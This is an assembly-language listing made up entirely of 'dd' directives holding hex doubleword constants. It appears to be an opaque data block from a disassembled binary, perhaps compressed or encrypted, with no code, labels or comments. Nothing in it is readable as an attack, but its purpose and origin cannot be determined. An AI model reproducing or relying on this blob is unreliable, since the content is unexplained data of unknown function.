		dd 163A8E1Eh, 0C034279Fh, 656B7441h, 90613600h,	18AB78B6h
		dd 0A8AF00B9h, 4ED64DF8h, 0E700A756h, 940F9064h, 0E81021DAh
		dd 4D281F04h, 44184999h, 8B00F28Bh, 0B46AC782h,	0B2B9211Ch
		dd 4B9F807Ch, 8A5BB3EBh, 965D0061h, 0BF440E9Eh,	6524F22Eh
		dd 0C100D432h, 5109B371h, 9D2700CEh, 1CF38812h,	6EF6915Bh
		dd 3AF2B90Bh, 0F63800BCh, 2DE1207h, 0FCF59042h,	0C880E43Eh
		dd 2A1B36F9h, 8D545A00h, 120AAC37h, 3DF71D73h, 405F9FDAh
		dd 0DBC131DFh, 6F00175Ch, 0ED33D2FAh, 3EFFB8CFh, 32074038h
		dd 4074F570h, 0BB246DE6h, 6500CCECh, 3EA90A13h,	0EEB11B6h
		dd 4EFF6B66h, 21F9DFA0h, 2207D8F8h, 0C952CB2Eh,	0E048C5E1h
		dd 7931C74h, 0EBBF823h,	88A09156h, 0F78CC4D2h, 35802094h
		dd 0BD70A5C3h, 1FB20071h, 314C9E16h, 0AF0959D2h, 205A088Ch
		dd 21D71C0Ch, 118360E3h, 8F1F3C03h, 0C4876200h,	0ADCC31DBh
		dd 0B0B30545h, 0D0F33DB8h, 24E36C38h, 5E585C90h, 23758158h
		dd 0D6C81D2Ch, 0F89E0290h, 2E0F7C6Eh, 22F15C40h, 10285258h
		dd 0A003E99Bh, 994EC0F6h, 0FC171000h, 0D9F5E806h, 60987485h
		dd 0C7F2FE71h, 0A701C4DCh, 281FE080h, 0C874EC6Dh, 29DD1092h
		dd 7F150056h, 0DBE8F6A7h, 88F401D3h, 6B4A8433h,	219EDCA6h
		dd 0A4DD2309h, 2D05E0Bh, 4C8CDA7Ch, 0B16D3460h,	809C5200h
		dd 5CE9B0A5h, 0EB090296h, 0D362ADEDh, 4041C8E2h, 5DA8E053h
		dd 1449948h, 0C3E0333Ch, 51ECEBF1h, 30C57EC4h, 0CA10F448h
		dd 7D00B2D9h, 188380ABh, 1E8424Dh, 5386A03Eh, 0ECD18A0Eh
		dd 417CE447h, 0BB48A800h, 1E73C520h, 95E10010h,	914B6ADBh
		dd 0F60074FFh, 7CC3E3C6h, 2EB44FDFh, 18E7C9h, 0F153B215h
		dd 0E50093EEh, 2B56AFA7h, 789133Bh, 0A5EBF2A6h,	4FA020DFh
		dd 0DE007638h, 0A49B9E65h, 3933EC63h, 7D00CFD5h, 890154DBh
		dd 0B0EC1DA1h, 429FA009h, 0BCC6C4Fh, 2141A1E3h,	567A14A0h
		dd 870094D8h, 0B18FBE98h, 83828A5h, 0B02B7509h,	0A57DAA1Ch
		dd 0EA340587h, 501D4CC2h, 45E3052Ch, 0C0FECAE5h, 0B67AAA30h
		dd 0CD2CC703h, 0A1A38C5Bh, 82D44BDCh, 0C9480279h, 0BC69726Ch
		dd 0D7C3CDC0h, 556E0624h, 2D4F5000h, 0F84263D0h, 0AEC700A0h
		dd 640F3B0Ah, 62013EAAh, 0C6F78D59h, 0F840E0B8h, 1D0D28h
		dd 3A0B417Fh, 5E5B29DFh, 0C31BD800h, 2140A4CDh,	0E895039Eh
		dd 0F8C24A7h, 1C4C71D0h, 2399640Bh, 0E60000BDh,	0D2F32Fh
		dd 715F295Ch, 0A828EABAh, 8A665E00h, 64C1DD37h,	0B30021Bh
		dd 0EE5AE046h, 0DCA6D441h, 3C7FF752h, 65089100h, 6B6C5171h
		dd 0E22F00A4h, 638A7D38h, 100E15Bh, 6881AC7Eh, 14F385h
		dd 7574CC03h, 0E1D461DCh, 0A1975D03h, 0A0602096h, 4E59EBh
		dd 7411AB2Bh, 71D50BFh
		dd 0C0EA3Dh, 0C63F9BD3h, 0CE693Eh, 6C03155Ch, 0CC5D1BE5h
		dd 88339400h, 0D8FF5F1Fh, 574600B4h, 7A130A37h,	1A00F967h
		dd 206552D0h, 1445Dh, 6B45684Bh, 2D2826F5h, 8AC41300h
		dd 3538D816h, 14850039h, 5295D18h, 0A705EC03h, 7B719EB9h
		dd 2FD2C000h, 0E0116E6h, 0D7822B24h, 407984A0h,	80282181h
		dd 0DE00941Fh, 2A3F04EEh, 9ECCE9h, 82CD0D0Bh, 0E2ADD4E5h
		dd 98692300h, 5C4F791Dh, 0D8E1001Ah, 28332A5Fh,	4800B18Eh
		dd 96953292h, 5DB6D6h, 46C6E4EAh, 1A9F8442h, 7E4EB700h
		dd 7199B925h, 0C46A09E9h, 30E03359h, 9BB01678h,	0AA144202h
		dd 0E0EB36B2h, 8615E4h,	320F798Ah, 4204B58Eh, 0B7918700h
		dd 68D1A47Ah, 13E8B222h, 804AE972h, 66BB78ACh, 2E25B000h
		dd 103D00Ch, 0E1740027h, 5D9875E5h, 3C0B8E43h, 801C1D7Ah
		dd 0E0C07119h, 517313h,	70F5F603h, 0E167D252h, 23003894h
		dd 0CFDCCA64h, 777D3A0Fh, 6CAC1F00h, 0EF4B173Fh, 1E6A0406h
		dd 9008DDh, 70FEED65h, 721744F2h, 13B3DA58h, 241E34B7h
		dd 1807C21Fh, 51803F38h, 178E6792h, 12348C1Eh, 8BC20092h
		dd 93CB5B80h, 6E036A78h, 0EFEBB9F7h, 0ED4D80FDh, 5C1F1C1Eh
		dd 3A33C602h, 68C15929h, 0F6689C50h, 0A298A880h, 0D4B9F0BEh
		dd 67A41F0Ah, 0B20068DFh, 0A0FD617Ah, 0F231005Eh, 8C17A72Bh
		dd 0F316862Fh, 0AE0095BBh, 0BE1EE421h, 2D300E8h, 8720C65Bh
		dd 6C002426h, 0A7883525h, 7EA482h, 60B7716Fh, 2E5745D2h
		dd 0E5BE1A00h, 0D075EB61h, 4D4600D5h, 0F5473770h, 0C3007BF8h
		dd 42282BBBh, 3CDBE1h, 31B34A0Eh, 1A4F06FEh, 0F500C87Eh
		dd 0D2C139D5h, 82C579h,	4ABA1D0Eh, 5DB26FA5h, 8428A301h
		dd 977F0DBFh, 0FD39C20h, 16CB0FCDh, 61E05300h, 7A71CA84h
		dd 0BA7C4A1Dh, 0B3489BC0h, 6FDE634h, 5F980F21h,	53000AECh
		dd 0E3105825h, 734472h,	66841E4Ah, 0B28B4F75h, 632DD00h
		dd 0B46571BCh, 0D3BE02DAh, 0C84BEB6Ah, 0E024A4F0h, 9F002A43h
		dd 0DC7D2E10h, 83E66A5h, 65002134h, 888B1C15h, 0E520B4h
		dd 5030E1D1h, 0D3BD0781h, 2802CC30h, 0E9F26B22h, 5C65EC50h
		dd 0DB20C006h, 0FF70C569h, 0EB00E4A4h, 0F4BFFD4Fh, 63F7E3F8h
		dd 0E8ED2809h, 1DDD2100h, 0FEC58563h, 45B100BEh, 4D21BC93h
		dd 0EB349799h, 0D6C029E7h, 6525C25h, 6A1F7CA8h,	0DD3008B0h
		dd 4A2A209Ah, 5BE825h, 0BBEB1B4h, 0A0084F34h, 33240D00h
		dd 0E2EDDEDFh, 0D6C517CFh, 40BC5C5Dh, 1A0818FBh, 6B0FD8C3h
		dd 80A6C912h, 4D577321h, 0F74B0398h, 0C43D1445h, 0C648D588h
		dd 156C3B07h, 0FB60AE06h, 0EC08409Ah, 16570C5h,	7BA3A7D3h
		dd 0FCEC27A5h, 0CF98FD89h, 76DA60Eh, 97821F2h, 90DBCA14h
		dd 4D50C2h, 80C11F86h, 9AE4318Ch, 1C5CA300h, 3458E366h
		dd 0A9A705C6h, 0FB0DEA79h, 0A15EA000h, 0E94255h, 635FE18Ah
		dd 0AE35D21Dh, 0E5734326h, 3EBD900Eh, 8978DC40h, 173DE9h
		dd 94450981h, 0BB2AB112h, 0DB4CB600h, 0DF357288h, 72D7551h
		dd 7E59FF31h, 447533D7h, 1360DEC7h, 0F6AB3517h,	0CD813B01h
		dd 0B3C62ABAh, 8EF0CCh,	6F274602h, 0BE7302Eh, 0FA894800h
		dd 0DB390340h, 0B9753ECBh, 94B6AA8Eh, 100E8C07h, 0B36374DCh
		dd 247E5001h, 5CB4A9Eh,	7A51130h, 54F18B6Dh, 3A91B02Bh
		dd 0CD011FCEh, 90164C7Fh, 42E4D682h, 0B822EA7Eh, 0BE613D42h
		dd 58E8C00h, 1CEBAA90h,	1A008DFAh, 7A28AC35h, 39939955h
		dd 3FC2B3Ch, 0AB23DC31h, 29BE58EBh, 0D111B842h,	8FD214Fh
		dd 0E4908B3Fh, 483E2F84h, 8ACE4229h, 9821F024h,	0D9751163h
		dd 8C945810h, 8929FC80h, 0A0610838h, 0C48B5028h, 4F3E8829h
		dd 82808BFh, 0B9ACDE6Dh, 20342932h, 0F9AAC97Fh,	502EF7F6h
		dd 73008B3Bh, 0ABC46884h, 2FDF8FEh, 0FAB6353Eh,	68E02E3Ah
		dd 0BB0047E3h, 2FA3A8CEh, 91FC73h, 90411F4Bh, 66B28451h
		dd 3700FEFCh, 0CE65A5E7h, 417E1h, 0DE7F3E69h, 8B979E08h
		dd 3600C7F4h, 0FADCA892h, 1344F6Ch, 0ECAE74C4h,	0F803AF56h
		dd 14002DB9h, 6B61D70Ah, 6875CEh, 9EE00159h, 0D8A7213Bh
		dd 914D6905h, 0F3809B76h, 71E783h, 5DAA3F90h, 8BB3EE1Ch
		dd 2CAE8F00h, 278DF808h, 0A29C007Eh, 5519E46Ch,	0FB006BC2h
		dd 23AD59Fh, 38084D01h,	661F73F1h, 351804Fh, 0F4647E84h
		dd 2240F760h, 437DA5h, 249D67BAh, 0B298F05Ah, 79508600h
		dd 0FED568ADh, 307D1889h, 6EFBA88Ch, 3D26340h, 0D9B23EA0h
		dd 0F49A4AFAh, 0EF158480h, 0E018D65h, 2FCF969Ch, 0F13A27F3h
		dd 6945D0F1h, 0BB08AA03h, 0F86220E1h, 0F2B7B384h, 0A6E5001Eh
		dd 0A1740A9Dh, 8800BA5Fh, 12E736D5h, 0F66C7Ch, 0ABCD7996h
		dd 0B5F8DDBh, 9502B87Dh, 0A4297A85h, 0F82BE3D6h, 49CC919h
		dd 278CE4B9h, 1238809Eh, 0AA00D51Ch, 0E21EDB86h, 7C6CEDDh
		dd 0CABA4D1Dh, 301AB0F6h, 3E0052F1h, 371E949Bh,	7B55DD12h
		dd 3493872h, 84243180h,	75DB92D4h, 0C78A4B00h, 82E67D17h
		dd 6A65002Ah, 6609838Bh, 0E0075D3Fh, 5EBAF73Eh,	263AA00h
		dd 0F9810084h, 2C3ADC6Ch, 651E5253h, 82C51FB2h,	4980A7CAh
		dd 3FC7582Eh, 1C0CE987h, 2E8E1B4h, 0DFBBB217h, 17608A00h
		dd 712D2D4h, 0CE6D85E0h, 5F86A77Dh, 0D0470447h,	0F7B70AFh
		dd 4DD0FB00h, 4551ED94h, 0A6011D2Eh, 0EECDC7DAh, 356EE023h
		dd 0AE03EAC8h, 89B5AF2Fh, 176BB013h, 440E00EEh,	7781CA93h
		dd 0CE38D78Fh, 8E3480E8h, 27721E74h, 0D65400F6h, 624293EFh
		dd 6A603B14h, 0E2104DE8h, 0A10B24A4h, 0D66700C5h, 0DD19F265h
		dd 0BFF48B00h, 1315CA59h, 20BE0788h, 0C0B462E3h, 0D1EDD46Dh
		dd 0C4771E00h, 3058AD94h, 737A07CFh, 0B3356842h, 17D0A4B9h
		dd 0E304E8B6h, 61069475h, 2E00DCC7h, 7B0CDC3Dh,	0BB450082h
		dd 40F309EFh, 3F002CA3h, 8B014391h, 897554h, 0A8C07969h
		dd 7035DD7Dh, 0DC7AA10Eh, 9B48608Ch, 9E0C7EDh, 5FCD9840h
		dd 56FD7400h, 6700A9D5h, 0AEFA7D75h, 170E2BAh, 0A6DA47F3h
		dd 0C0860E5Ah, 700EF97h, 0C84E54B8h, 0C4F331h, 6836509Ah
		dd 0A053B704h, 0F1BF1C01h, 0EE16200Eh, 0E251E0C7h, 541900A6h
		dd 8D745B43h, 8C00D5F0h, 56D471B4h, 3FE1C3h, 0EBA84ED2h
		dd 9EC06825h, 6BE44400h, 0D9C3BD5Ch, 0AA830047h, 1C41900Dh
		dd 0A1C4574h, 7A1E466Ch, 21E68Eh, 86F6AF84h, 0E293394Ah
		dd 73C0B100h, 59A51923h, 625BFB00h, 966C104Bh, 446E0092h
		dd 7A83788Eh, 3D0F55B8h, 0CBD6F640h, 1DD80F8h, 0EDAF08h
		dd 906B7017h, 0A787736Fh, 1593A600h, 0B50C2046h, 0EDCF0771h
		dd 0F0D4AEC1h, 219E998h, 93B03Ah, 8BF2E8Bh, 1CDBBE43h
		dd 407E0904h, 96EDFA33h, 0A2005938h, 49188CB7h,	1D0E3E0Bh
		dd 0C05423E2h, 68EED6C0h, 0E714294Bh, 8CFF72h, 0E112FC0Bh
		dd 78AF915h, 11F018FEh,	4540FE2Ch, 4BC22D06h, 0E1F8A800h
		dd 594763ADh, 5AC8008Dh, 0B3FD602Eh, 0B0068D9h,	0DC2B9E8Ah
		dd 4D65A6h, 0B0B513CBh,	288D443Eh, 72BED500h, 0E034CA7Fh
		dd 1FA3003Ah, 51307383h, 31006B4Ah, 0A839F145h,	735E302h
		dd 72F74F52h, 27ECE023h, 0A91F8E7Fh, 47573EA3h,	8450200h
		dd 77CCB256h, 1AF60019h, 0BCDF34CEh, 2300708Ah,	3B40893Dh
		dd 870F6Dh, 2D8416C8h, 20B81F4Dh, 0AECCDA00h, 80FDCED5h
		dd 77C8006Dh, 51E781ECh, 571EA46Bh, 803FC4F2h, 8BEE5016h
		dd 44A753h, 27BAA37Eh
		dd 0E5A84D61h, 0C5DDFA1Ch, 29020992h, 804B2C98h, 2BF6CF88h
		dd 0F4D300C8h, 0B6728D76h, 0B7124E5Fh, 2003C72Fh, 0D0D0E88Bh
		dd 18D56CEFh, 18C6243Ch, 7F180852h, 0BD112069h,	0E7D002Eh
		dd 0E57E8740h, 173B9F93h, 0F13500C5h, 2CD4A648h, 0D1463CABh
		dd 0E380A733h, 76DA1AF8h, 7241161Ch, 0C0566240h, 20ED74h
		dd 11533524h, 0D508A0BEh, 8EAFBF00h, 972C03E4h,	8B0F036Ah
		dd 1C311DCDh, 80F96788h, 0A4C24F07h, 0CE01E9E3h, 0FFDC87BAh
		dd 7B583837h, 49B193h, 6289749Dh, 9D72E8F1h, 0BF00AA79h
		dd 0CB6E0F3h, 374E394h,	8B7F7DA7h, 11F04AD0h, 0F607858Ah
		dd 5E223A3Dh, 300EF4F0h, 0F0990060h, 2EA9E254h,	3800A0D4h
		dd 9A2B0C87h, 0B77D29h,	22667EC6h, 1492801Ah, 0AF471C02h
		dd 80B1C7E6h, 0D68343C0h, 0FF3507E2h, 0A0A2259Ch, 1FF64BFAh
		dd 2EE3C500h, 0D114AAF7h, 132800FCh, 8AEBBA6Bh,	85002F06h
		dd 167D3A43h, 4B59011h,	76C97A8Bh, 134880EDh, 5F009C27h
		dd 2A1CFAF7h, 84C3ECh, 723AC9C6h, 6403776Fh, 0A974B100h
		dd 128DEFEAh, 0D8E50066h, 0D43BF95Eh, 0CC0E7D9Dh, 40EBC856h
		dd 1E39C715h, 60C560BAh, 20DB3557h, 0E7006798h,	5C2AC4F8h
		dd 0D3D2C089h, 0C21E20h, 0CD8C96AEh, 0B2009E8Dh, 998F0C93h
		dd 2A704F1h, 0C3B6D8A9h, 47C0DF24h, 800D710h, 5DF5E4DEh
		dd 74D614A4h, 2DDB01E5h, 68DF798Ah, 8BF170A0h, 58431000h
		dd 627AA241h, 3B260764h, 0A00FBC33h, 5A47F8Ah, 0BF0B7D01h
		dd 66E46B03h, 52B7E880h, 703DECE5h, 72680109h, 46080047h
		dd 75A1628Bh, 165C0008h, 8E740CD3h, 4D0003A7h, 0E74948E4h
		dd 4B1D3Ch, 8D44091h, 67E2EEE5h, 80539E39h, 27A9A3C2h
		dd 98AE15h, 3874B2CBh, 7F3A1CCh, 42A59203h, 0E8522EDEh
		dd 0E68CA8h, 2DA03F36h,	8966C3A2h, 1214B40h, 74488E3h
		dd 0ACA3A1FCh, 0CD003398h, 70AB96D8h, 154F00EEh, 6A3DE0C3h
		dd 0BD009F33h, 9DD0D907h, 0F2B568C1h, 1D1F4CCh,	1F09DF27h
		dd 0E40197CBh, 534857B7h, 0A01100ABh, 7CFE124Bh, 0F79B00EAh
		dd 83E54E2h, 517AF92h, 0B01FBBC3h, 415AE001h, 44242061h
		dd 0F56E00D8h, 9882FB7Ch, 0E2002FE1h, 0FDC417A7h, 0C0D58E01h
		dd 8F9B6F88h, 213F4A15h, 46B98045h, 0B1CA2D57h,	0A06D00C6h
		dd 6F16231Fh, 0F77C792Bh, 0A94A3Ah, 4945881h, 0B0F18Fh
		dd 5BEE08F2h, 598E25DBh, 1739D200h, 0C96CACADh,	669D377Dh
		dd 0AF37D7C8h, 0CF25CDE0h, 70034290h, 782AF420h, 0B375F8ABh
		dd 70B8D8h, 0EA62885Ch,	9DFDF312h, 64262C00h, 0D090E1BAh
		dd 0F8650319h, 5CC6FB74h, 1C83C9F0h, 0C10E1F1Fh, 24143440h
		dd 307E623Ch, 0EFE8D10Fh, 0BC014286h, 70680784h, 8620AB02h
		dd 0B77F0012h, 96A8ED1Eh, 65021F83h, 374DC521h,	0E0CC8FCEh
		dd 47D04606h, 74FFECBFh, 1DF902DBh, 0B3B64B9Fh,	535F09C0h
		dd 3208E600h, 0C8439574h, 26FF7C87h, 40AB90h, 4AC27C1Dh
		dd 1C266B5Eh, 0DF968061h, 499000FFh, 91076A5Bh,	0B13B2A33h
		dd 9043A0BBh, 0ED4100A9h, 1FD9DE86h, 4F0562BAh,	813A4CE6h
		dd 685E8780h, 751C9A15h, 0C7690AB4h, 0BC237Eh, 0A2326055h
		dd 1D01307Fh, 0BB8FB2Ah, 0C040E0F4h, 58345780h,	6850942Eh
		dd 7A840064h, 0FD9FA4D4h, 0DD17CF85h, 7841AAA7h, 0FE16CB4Bh
		dd 7B3C4120h, 0BC9C00F2h, 52E18DA6h, 2A0A6205h,	0DCAFBA59h
		dd 0FF749601h, 3030EC0Bh, 15860425h, 0FE5C0E55h, 0C019B12h
		dd 0C4032F1Fh, 36809F8h, 0BA601982h, 0EFB9F6F7h, 0AFF4C8ACh
		dd 0C6E887FCh, 0A4E36E00h, 0A99B6728h, 133098E1h, 1DA0765h
		dd 0B290E86Ch, 77B5C8AAh, 0CF1F6E70h, 8ECFF35Fh, 5B2C40B4h
		dd 91AF2F0h, 59A49537h,	0DC150700h, 0F13BE14Dh,	0BC58041Bh
		dd 0E4804AEAh, 4C757871h, 1EC0305Fh, 9142297Ch,	0BB172090h
		dd 7200409Bh, 6C3D5ED3h, 999716D0h, 6400EE6Bh, 0EA9E9095h
		dd 0A471043Ah, 8137F052h, 200EA95Dh, 0C000D984h, 0E0C91E0Fh
		dd 14FED494h, 0C4496D04h, 2795693Ch, 0B93EBC36h, 7C461B01h
		dd 0E4BD74B5h, 6A0A8868h, 0E4EDDE37h, 489E0039h, 4E3E31BAh
		dd 3DCF0036h, 0D9CBB566h, 7098C77Ch, 21020702h,	80DF9F57h
		dd 0E84FABD0h, 2EC90032h, 0BD399586h, 0F000AF0Ch, 0BF4E946Bh
		dd 5D104635h, 26007858h, 0F1F3C01Fh, 0A726A33Dh, 8300CF73h
		dd 80F682EDh, 246E00B8h, 1A4F60E2h, 467FD126h, 28ADD900h
		dd 0B6C51C3Ch, 0C8A70057h, 0D441D6DDh, 3300F5A5h, 60670408h
		dd 40D6C0Fh, 0FFDB9824h, 0BD00A348h, 0D69E38C2h, 85C35F3Fh
		dd 4D2EFEE9h, 697701C0h, 0A97C0065h, 9B4821AFh,	14126C4Eh
		dd 0AC04B467h, 4080E337h, 7EA4234Bh, 0B8FE01A3h, 0A2D0195Ch
		dd 0CAF040A1h, 0CC92F85Fh, 3143DF00h, 0C4B8A547h, 8FF9006Bh
		dd 6DEC227Eh, 10029516h, 0B586FB8Eh, 1BD0E033h,	5772007Fh
		dd 6C1AED7Bh, 0CC00FD68h, 0F89867BCh, 355FE3h, 34A74905h
		dd 483E804Ch, 0B3EB3Fh,	0F140FBAFh, 1F9B75h, 0DD1D1E77h
		dd 0E41B973Dh, 764FA403h, 0EDACE5Dh, 0FAE685C0h, 31499200h
		dd 1200C591h, 0E38B57D7h, 3993BFEFh, 589D2F3Bh,	52CF428Dh
		dd 0F890947Bh, 3C00F521h, 7851C03Ah, 241C39A2h,	0A04B4Ah
		dd 0F617DBD1h, 0AB00C92Bh, 0B83E66B1h, 79798FFCh, 505E0026h
		dd 920FA3DEh, 0BC00FACCh, 64C77152h, 24767C91h,	1E8FC86h
		dd 0E6BDD512h, 0BEB2707Eh, 0AF29C316h, 9726C042h, 84C4A0C1h
		dd 0F7161DAh, 0D04D707Dh, 232EC0DFh, 0F8B7201Ch, 0D3483Dh
		dd 0BE3168B1h, 3ED0D0Fh, 3EDE767Fh, 7CD81D9Eh, 58C94A10h
		dd 0F6FC10F0h, 0BC4B4874h, 93333501h, 0E8D2D4B9h, 2900BED9h
		dd 77513C57h, 0B30289h,	0B926B40Bh, 21F8784Ch, 0B2386900h
		dd 0E361DBA9h, 0D39024FFh, 174200E8h, 11702C65h, 48A4E118h
		dd 47B2F60h, 874D6B14h,	0FCEC9061h, 0BE00F343h,	0B8A1B7E4h
		dd 697104h, 0C3D90B05h,	0FD8EF04Ch, 0FC28589Fh,	1CDB58BEh
		dd 8022EB1Eh, 0AD980641h, 5091C213h, 3E47919Dh,	5E005187h
		dd 30221746h, 27409D78h, 0AF1CE3A2h, 96C0D230h,	1B8B95EFh
		dd 8A990309h, 0EC337D2Eh, 9DD2980Eh, 0BF7500AEh, 3E903140h
		dd 390E2130h, 0FA406A89h, 0D25A8BEDh, 942798E2h, 0D82780D7h
		dd 0F047AA7Eh, 171D0703h, 0E2A5451Ch, 0BC804EF7h, 0D0A6F333h
		dd 54F66FF4h, 0BD1B1301h, 958C26FBh, 0B8FFDEF1h, 48CD4246h
		dd 850093B8h, 79365B7Bh, 69131222h, 0B080E9B0h,	493BDDDBh
		dd 0C308F847h, 28A42FD4h, 804BA70Bh, 468F78C8h,	3DD7085h
		dd 96A66CDFh, 0C8C8F7BFh, 35000422h, 1AA28C8Dh,	0FED9295h
		dd 794F4E31h, 5E19C322h, 5C4C4448h, 27DD1601h, 5F231FAh
		dd 3B94ECh, 37C2D88h, 3CC66957h, 86EA7EE4h, 0CE7F8F0Eh
		dd 0C7278028h, 3CAF090h, 0C266B56Fh, 280EAC8Bh,	20781F08h
		dd 0A8754D6Eh, 4733066Dh, 20A0247Ch, 0F8C848h, 57B464CCh
		dd 31DD40h, 2CFEFCE5h, 4495693h, 0CC35F412h, 9838900Ch
		dd 9590018Ah, 0C1AA6322h, 8B4824DFh, 0D238500h,	1EFF741h
		dd 7AF6762Ch, 0A39E00ECh, 11C69697h, 0AB0F04FCh, 0BC70F87Eh
		dd 1F6B79C0h, 3659E3h, 0B88C9832h, 8EE2F21Ah, 376F5600h
		dd 15EC9735h, 6AFEDEh, 664EFB0Fh, 4925A701h, 233FA213h
		dd 70328C01h, 5464075Bh, 0A0E9017Dh, 5230356Fh,	80F3FDA6h
		dd 72FBAEF0h, 0B83E48AFh, 30610639h, 908079A4h,	0CB6200BDh
		dd 15635E4h, 0F2A6113Eh
		dd 0F8AFF50Bh, 0F4070358h, 38BDA4CFh, 0A8B51B90h, 446601AAh
		dd 70CB7BD6h, 70D43180h, 4D440AFCh, 996C0065h, 71D34739h
		dd 0DD060EFBh, 0AD300B24h, 80850779h, 0A09B90A9h, 895C757Ah
		dd 9932BB00h, 0C5EB37Eh, 0DD453A29h, 636DA581h,	0F8C5032Bh
		dd 0E52C3886h, 5C0084C4h, 0D0850EF5h, 0C6890392h, 80586DF8h
		dd 0E88F3CFAh, 0A3F2D8E0h, 0E05C547h, 0D6046B19h, 82F7EC00h
		dd 58B2340Ch, 0D1016B25h, 0CAF8839Dh, 7B9D70DBh, 55BA2207h
		dd 9FE0C3D0h, 2FCA2BEh,	71B55262h, 1CE0682Bh, 0B8603D8Bh
		dd 9EC3EED0h, 0B0EFF292h, 45B10044h, 128C7ACDh,	9F13CC40h
		dd 0B8036946h, 0B0A3A57Bh, 73CE04FFh, 0F54A055Dh, 9126EB39h
		dd 30160998h, 0E714BE74h, 3BB0FEE5h, 5E101E6h, 96333F97h
		dd 754D88D0h, 6639281Eh, 0B2D9068Ch, 9013F85Eh,	7202CCF1h
		dd 10C7527Ch, 0C4F0E88Bh, 3EEFF08Ah, 0B180F5FFh, 0D8657DA8h
		dd 0E25C0989h, 7A270EC8h, 8FDDE087h, 0A102F3h, 2EA9F45Bh
		dd 0A42471F1h, 3829B402h, 6B1296h, 36EC8FA2h, 910007EEh
		dd 3DB0EA8h, 1F9094FEh,	25C37EBh, 5011AE8Fh, 0C9004464h
		dd 6BECC41Eh, 0D6A8F6h,	49F46DDFh, 3ED14DF5h, 9C8D34Ch
		dd 6A3CADBFh, 0C3F34004h, 6041494Ah, 0A18CF828h, 4F701960h
		dd 96141252h, 80D867F5h, 7DFBA3A7h, 640FE00Fh, 0BB4CC0F4h
		dd 38AB3EC6h, 0AA002371h, 0FF75A6EFh, 1300532Ch, 8211A908h
		dd 5E8860h, 5A059DD6h, 42B16575h, 0B8BC460Bh, 0B47822D0h
		dd 2733035Ch, 0FEE73490h, 7338840Fh, 0DF51E0B0h, 9030FB64h
		dd 0CC0F0075h, 9E7DD4BAh, 0ECA8FA57h, 860EBE55h, 6033D8F1h
		dd 0ACDEE14Bh, 0AEA70084h, 7FE9FB16h, 6C07D656h, 8C8689CFh
		dd 0AA1C6000h, 11DC1C48h, 0C0FB1F75h, 1D25DAE6h, 37008AE0h
		dd 19614B78h, 99FF331h,	0FCB1778Eh, 9D814C00h, 0C500064Fh
		dd 0D5585AD6h, 601F1D21h, 723EA1AEh, 69747C81h,	0C31E7F26h
		dd 0F199C500h, 834DF6h,	0CDD2A71h, 5B4CAE28h, 0B3AFFB03h
		dd 0E4EA38F5h, 0B20AD480h, 21A0EC8h, 0B580B08Fh, 0E1270984h
		dd 1C9E761Ch, 4C266E80h, 33D1A8h, 6A73EA62h, 0BBDFB4A7h
		dd 94929C7Eh, 0F22E602h, 0C9438F2Ah, 0B0F86754h, 0E343EB8h
		dd 845B8000h, 924C0D62h, 7B4F9E09h, 279C7EEBh, 9993E4A0h
		dd 57007A48h, 8DCA1A06h, 1DAB9DD4h, 2D90D381h, 83477010h
		dd 6E1F84B8h, 0BF8020FCh, 0B45A939Ah, 66491D1Dh, 2D1C879Bh
		dd 45F3E09Ch, 0A016DEC5h, 0EC00E957h, 0C8BAA1D6h, 3059281Dh
		dd 0D4F700B4h, 439A949Bh, 0EE09F32Fh, 0DAE064h,	0C4A71E6Ch
		dd 12BC00DDh, 0C537A93Eh, 0BE004D57h, 8E9929CEh, 188A2Fh
		dd 0D35C0AA0h, 8089267Eh, 0E01B6300h, 7F69FF82h, 0FA713B0Ch
		dd 7B1D680h, 3A792D9h, 0DB66C400h, 0B0877375h, 0D3E7017Ch
		dd 4C27FB83h, 0DC7070ADh, 0E651B618h, 62534D48h, 0D9BDA040h
		dd 15043CD0h, 0FBB411C7h, 8A765080h, 0A8965Bh, 28A632D8h
		dd 0D00041D4h, 0C42A5D90h, 88F203h, 0EB91A8E5h,	4B05391Ch
		dd 36CDA105h, 0D445329Fh, 24B02569h, 2C90CFC9h,	0BA58A120h
		dd 0E9FC3B3Ch, 0B5AB5617h, 0D1400C5Eh, 0AF459DCDh, 0E59117B2h
		dd 0B3810CAEh, 0ED789320h, 0CE06A77Ch, 9F1C16C9h, 0C6E90318h
		dd 1465604Eh, 13755F90h, 0BC7E7901h, 91EEAFB5h,	5D57088Ah
		dd 0F9FF0134h, 0E0480CA1h, 260046C7h, 3332B18Eh, 0EEBAA7h
		dd 38A6B275h, 47F3E87Ah, 0E9E55Ch, 6961B43Dh, 39CEB826h
		dd 0A086117Ch, 38366C03h, 0E8253E05h, 3402A656h, 50CD882Dh
		dd 986067B8h, 140CC365h, 90004DBBh, 0B7CFECD6h,	7D2244h
		dd 6D159E2Bh, 6EE16347h, 1A48B400h, 388BC155h, 89110002h
		dd 26591F77h, 0EB1C4EF9h, 0E8003EF5h, 5EFBA9FAh, 66FAC6h
		dd 0ED421635h, 6328040Dh, 0C023B300h, 29F9822Bh, 382D38B7h
		dd 0BCA597h, 4DE8D72Dh,	702DA2Fh, 22BFD897h, 5CF94020h
		dd 7880000Fh, 7355B65Eh, 0EA002816h, 64EFFC4Bh,	753031h
		dd 1B37A332h, 21159578h, 2C092600h, 13746334h, 0CDED006Ch
		dd 0A9FB11A7h, 7E05ECE9h, 0E7D35DE2h, 0C61E8C40h, 3F161514h
		dd 42801C48h, 0EAF66424h, 1B037956h, 67895AB0h,	0A0B98AE9h
		dd 60B45EACh, 23C08369h, 171E8C2Dh, 0E806A1CCh,	0F29BC8Eh
		dd 0F0D4D120h, 83521198h, 233C9307h, 33302FCBh,	96B99Fh
		dd 0E60BCEABh, 65F10E99h, 0A800674Eh, 0EB16CDA0h, 0B31038Bh
		dd 0D4D3B07Ch, 3297B901h, 525D830Eh, 0F045FD20h, 4DB412BCh
		dd 0D64C5E61h, 0EC1840EEh, 0B0DFD21Eh, 50A79401h, 0BF991907h
		dd 2146DD0h, 9B5B92F9h,	0F6602D21h, 0F1998DCh, 2AE110FFh
		dd 2E4E90D4h, 3B449680h, 0E9A44505h, 0E77403E5h, 0D4CB201Fh
		dd 0F66F3DC0h, 6657B718h, 788DE841h, 0A17E0E55h, 40DED837h
		dd 0B84293CDh, 48075644h, 0ABF923Bh, 0ADE0CC40h, 39010097h
		dd 2FA2A110h, 9300BD14h, 0F3ABED95h, 0EED64320h, 0A09D0026h
		dd 235A7E29h, 0A548B16Ah, 0E1310055h, 0A47F50F3h, 0A2A63E36h
		dd 3AB5D400h, 0B88DC3FEh, 93956001h, 76D2F615h,	0E142BBD9h
